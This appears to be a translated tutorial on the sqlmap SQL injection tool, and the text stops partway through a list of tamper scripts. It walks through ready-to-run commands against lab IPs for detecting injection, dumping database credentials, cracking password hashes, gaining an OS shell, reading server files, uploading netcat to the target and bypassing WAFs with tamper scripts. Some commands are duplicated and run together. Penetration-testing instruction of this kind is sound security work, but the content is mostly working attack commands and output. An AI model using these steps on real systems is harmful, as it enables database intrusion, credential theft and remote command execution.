Commonly used penetration testing tools

SQLMap

1.SQLMap detailed explanation

SQLMap is an automated SQL injection tool. Its main function is to scan, discover and exploit SQL injection vulnerabilities in a given URL. It has many built-in bypass plug-ins. The supported databases are MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB. SQLMap uses the following 5 unique SQL injection techniques. ● Blind injection based on Boolean type, that is, injection that can determine whether the condition is true or false based on the returned page.

● Time-based blind injection means that you cannot judge any information based on the content returned by the page. You must use conditional statements to check whether the time delay statement has been executed (that is, whether the page return time has increased).

● Injection based on error reporting, that is, the page will return error information, or the result of the injected statement will be returned directly to the page.

● Union query injection, injection when Union can be used.

● Heap query injection, which can be injected when multiple statements are executed at the same time.

SQLMap's powerful features include database fingerprinting, database enumeration, data extraction, access to target file systems, and execution of arbitrary commands with full operating permissions. The function of SQLMap is amazing. When conventional injection tools cannot exploit SQL injection vulnerabilities, using SQLMap will have unexpected effects.

2.Install SQLMap

The installation of SQLMap requires a Python environment (Python 3 is not supported). Currently, Python 2.7.3 is used. You can download the installation package from the official website and install it with one click. After the installation is completed, copy the Python installation directory and add it to the environment variable value. As shown below:

Then download the latest version of SQLMap from the official website of SQLMap (http://www.sqlmap.org), download it to the Python installation directory, and add the SQLMap directory to the environment variable. Open cmd, enter the sqlmap.py command and the tool will run normally, as shown in the following figure:

3. Getting started with SQLMap

1. Determine whether there is injection

Assume that the target injection point is http://192.168.1.104/sql1/Less-1/? id=11. The command to determine whether there is injection is as follows:

sqlmap.py -u http://192.168.1.104/sql1/Less-1/? id=1

The results show that there is an injection, as shown in the image below:

In another case, when the parameters after the injection point are greater than or equal to two, double quotes are required, as shown below.

sqlmap.py -u "http://192.168.1.104/sql1/Less-1/? id=1&uid=2 "

As you can see, after running the statement to determine whether there is injection, a large piece of code "explodes". Let's analyze the information fed back to us by the code. There are three places to choose here: the first one means that the database may be MySQL, whether it is necessary to skip detecting other databases; the second one means whether to use MySQL in the case of "level1, risk1" All payloads are tested; the third point means that there is a vulnerability in the parameter ID. If you want to continue to detect other parameters, generally press the Enter key by default, as shown in the following figure:

2. Determine whether there is injection in the request in the text

Load HTTP requests from files. SQLMap can obtain HTTP requests from a text file, so that other parameters (such as cookies, POST data, etc.) can not be set. The content in the txt file is a Web data packet, as shown in the following figure:

The command to determine whether there is injection is as follows. The result after running is as shown in the figure below. -r is generally used when there is cookie injection.

3. Query all databases under the current user

This command is used to query all databases under the current user after confirming that the website has been injected, as shown below. If the current user has permission to read the table containing all database list information, use this command to list all databases, as shown below:

sqlmap.py -u http://192.168.1.104/sql1/Less-1/? id=1 --dbssqlmap.py -u http://192.168.1.104/sql1/Less-1/? id=1 --dbs

As you can see from the picture below, 17 databases and the names of all databases were queried. When continuing to inject, -dbs is abbreviated to -D xxx, which means to continue querying other data in the xxx database.

4. Get the table name in the database

The function of this command is to query all table names in the specified database after querying the database, as shown below. If you do not add the -D parameter to this command to specify a specific database, then SQLMap will list the tables of all libraries in the database, as shown below:

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" -D dkeye --tables

From the picture above, you can see the three table names in the dkeye database. When continuing to inject, –tables is abbreviated to -T, which means to continue querying in a certain table.

5. Get the field names in the table

The function of this command is to query all field names in the table after querying the table name, as shown below. The results of running this command are as follows:

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1"-D dkeye -T user\_info --columns

As you can see from the picture above, there are a total of 4 fields in the user_info table in the dkeye database. In subsequent injections, –columns is abbreviated to -C.

6. Get field content

This command is to obtain the specific data information in the field after querying the field name, as shown below:

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" -D dkeye -T user\_info -C username, password  --dump

The data that needs to be downloaded here is the username and password values in the user_info table in the dkeye database, as shown in the following figure:

7. Get all users of the database

What this command does is list all users of the database as shown below. When the current user has permission to read the table containing all users, use this command to list all administrative users.

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --userssqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --users

As you can see, the current user account is root, as shown in the figure below:

8. Get the password of the database user

What this command does is list the passwords of the database users as shown below. If the current user has permission to read the user password, SQLMap will first list the user, then list the hash, and try to crack it.

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --passwords

As you can see from the picture below, the password is encrypted using MySQL5 and can be decrypted by yourself in www.cmd5.com.

9. Get the name of the current website database

Use this command to list the databases used by the current website, as shown below.

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --current-db

You can see from the picture below that the database is 'sql'.

10. Get the user name of the current website database

Use this command to list the database users used by the current website, as shown below.

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --current-user

As you can see from the picture below, the user is root.

4.SQLMap advanced

1.–level 5: detection level

The parameter –level 5 refers to the test level that needs to be executed. There are 5 levels (1 to 5) in total. Level can be omitted. The default is 1. The payload used by SQLMap can be seen in xml/payloads.xml, or you can add your own payload according to the corresponding format. Level 5 contains the most payloads and will automatically crack cookie, XFF and other header injections. Of course, level 5 also runs slower. This parameter will affect the injection point of the test. GET and POST data will be tested. HTTP cookie will be tested when level is 2. HTTP User-Agent/Referer header will be tested when level is 3. In short, when you are not sure which payload or parameter is the injection point, in order to ensure comprehensiveness, it is recommended to use a high level value.

2.–is-dba: Whether the current user has administrative rights

This command is used to check whether the current account is a database administrator account, as shown below. If you enter this command in this case, True will be returned, as shown below:

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --is-dba

3.–roles: List database administrator roles

This command is used to view the roles of database users. If the current user has permission to read the table containing all users, entering this command will list the roles of each user. You can also use the -U parameter to specify which user's role you want to see. This command only applies when the current database is Oracle. The result of entering this command in this case is as shown below:

4.–referer:HTTP Referer header

SQLMap can forge the referer in HTTP in the request. When the –level parameter is set to 3 or above, it will try to inject the referer. You can use the referer command to spoof, such as –refererhttp://www.baidu.com.

5.–sql-shell: Run custom SQL statements

This command is used to execute the specified SQL statement, as shown below. Assume that the select*from users limit 0,1 statement is executed, and the result is as shown in the figure below:

sqlmap.py -u "http://192.168.1.7/sql/union.php? id=1" --sql-shell

6. –os-cmd, --os-shell: Run any operating system command

When the database is MySQL, PostgreSQL or Microsoft SQL Server and the current user has permission to use specific functions, if the database is MySQL, PostgreSQL, SQLMap uploads a binary library containing the user-defined functions sys_exec() and sys_eval(), then The two functions created can execute system commands. In Microsoft SQL Server, SQLMap will use the xp_cmdshell stored procedure. If it is disabled (disabled by default in Microsoft SQL Server 2005 and above), SQLMap will re-enable it; if it does not exist, it will be automatically created. Use the –os-shell parameter to simulate a real Shell and enter the command you want to execute. When multiple statements cannot be executed (for example, the backend database of PHP or ASP is MySQL), you can still use INTO OUTFILE to write into a writable directory and create a Web backdoor. –os-shell supports four languages: ASP, ASP.NET, JSP and PHP (if you want to change parameters, you need database administrator rights, that is, the value of –is-dba must be True).

7.–file-read: Read files from the database server

This command is used to read the execution file. When the database is MySQL, PostgreSQL or Microsoft SQL Server, and the current user has permission to use specific functions, the read file can be a text or a binary file. Let's take Microsoft SQL Server 2005 as an example to review the usage of the --file-read parameter.

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get\_str2.asp? name=luther" \\ --file-read "C:/example.exe" -v 1      
\[...\]      
\[hh:mm:49\] \[INFO\] theback-end DBMS is Microsoft SQL Server      
web server operating system: Windows 2000      
web application technology: ASP.NET, Microsoft IIS 6.0, ASP      
back-end DBMS: Microsoft SQL Server 2005      
\[hh:mm:50\] \[INFO\] fetching file: 'C:/example.exe'      
\[hh:mm:50\] \[INFO\] theSQL query provided returns 3 entries C:/example.exe file saved to:  '/software/sqlmap/output/192.168.136.129/files/C\_\_example.exe'      
\[...\]      
$ ls -l output/192.168.136.129/files/C\_\_example.exe      
\-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm   output/192.168.136.129/files/C\_\_example.exe      
$ file output/192.168.136.129/files/C\_\_example.exe   output/192.168.136.129/files/C\_\_example.exe: PE32 executable for MS Windows (GUI)      
Intel      
80386 32-bit

8.–file-write–file-dest: Upload files to the database server

This command is used to write a local file to the server. When the database is MySQL, PostgreSQL or Microsoft SQL Server, and the current user has permission to use specific functions, the uploaded file can be a text or a binary file. Let’s review the usage of the –file-write–file-dest parameter with a MySQL example.

$ file /software/nc.exe.packed  
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit      
$ ls -l /software/nc.exe.packed      
\-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm/software/nc.exe.packed      
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get\_int.aspx? id=1"    --file-write \\    "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1      
\[...\]      
\[hh:mm:29\] \[INFO\] the back-endDBMS is MySQL      
web server operating system: Windows 2003 or 2008      
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727      
back-end DBMS: MySQL &gt; = 5.0.0      
\[...\]      
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe'has been successfully      
written on the back-end DBMS file system? \[Y/n\] y          
\[hh:mm:52\] \[INFO\] retrieved: 31744          
\[hh:mm:52\] \[INFO\] the file has been successfully written and its size is 31744 bytes,         
same size as the local file '/software/nc.exe.packed'

5. Bypass script tamper

By default, SQLMap does not modify the injected data except using the CHAR() function to prevent single quotes. Readers can also use the –tamper parameter to modify the data to bypass WAF and other devices. Most of the scripts mainly use regular modules. Try to bypass the WAF detection rules by replacing the character encoding of the attack payload. The command is as follows:

sqlmap.py XXXXX --tamper "模块名"

Currently, 53 official bypass scripts are provided. The following is the format of a tamper script.

\# sqlmap/tamper/escapequotes.py  
  
from lib.core.enums import PRIORITY          
  
\_\_priority\_\_ = PRIORITY.LOWEST          
  
def dependencies():              
pass          
def tamper(payload, \*\*kwargs):              
return payload.replace("'",  
  
"\\\\'").replace('"', '\\\\"')

It is not difficult to see that a minimal tamper script structure is the priority variable definition and the dependencies and tamper function definitions. ● priority defines the priority of the script, which is used when there are multiple tamper scripts. ● The dependencies function declares the applicable/inapplicable scope of the script and can be empty. The following is a script that converts uppercase characters to bypass as an example. The tamper bypass script mainly consists of two functions: dependencies and tamper. The def tamper(payload, kwargs) function receives payload and kwargs and returns a Payload. The following code means to match all characters through regular expressions and convert all characters in the attack payload into uppercase letters.

def tamper(payload, \*\*kwargs):  
retVal = payload        
if payload:            
for match in re.finditer(r"\[A-Za-z\_\]+", retVal):           
word = match.group()             
if word.upper() in kb.keywords:                  
retVal = retVal.replace(word, word.upper())               
return retVal

In daily use, we will test whether some websites have security protection (WAF/IDS/IPS). You can use the parameter –identify-waf to detect.

Here are some commonly used tamper scripts.

● apostrophemask.py

Function: Replace quotation marks with UTF-8, used to filter single quotation marks.

The statements before using the script are:

1 AND '1'='1